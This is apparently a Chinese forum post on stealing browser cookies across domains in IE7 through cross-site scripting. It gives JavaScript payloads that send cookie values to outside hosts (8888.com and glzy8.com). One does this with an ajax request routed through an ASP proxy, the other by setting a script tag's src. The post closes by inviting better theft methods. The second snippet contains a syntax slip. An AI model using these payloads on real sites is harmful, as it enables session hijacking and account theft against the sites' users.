ie7下利用ajax跨域盗取cookie的解决办法

  研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:

  <script>

  function getXmlHttpRequest(){

  if(window.ActiveXObject){

  var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];

  for(var i=0;i<ieArr.length;i++)

  {

  var xmlhttp= new ActiveXObject(ieArr[i]);

  }

  return xmlhttp;

  } else if(window.XMLHttpRequest){

  return new XMLHttpRequest();

  }

  }

  var xmlHttp=getXmlHttpRequest();

  xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);

  xmlHttp.send(null)

  </script>

  其中web.asp是一个asp代理。

  这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。

  另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:

  <script LANGUAGE="Javascript" src="" id="get">

  </script>

  <script LANGUAGE="Javascript">

  <!--

  function get(url)

  {

  var obj = document.getElementById("get");

  obj.src = url;

  (obj.readStatus == 200)

  {

  eval(alert("ok"));

  }

  }

  get("http://glzy8.com/2.asp?cookie=12345678")

  /*function query()

  {

  get("http://glzy8.com/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"

  }

  //-->

  */

  </script>

  至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论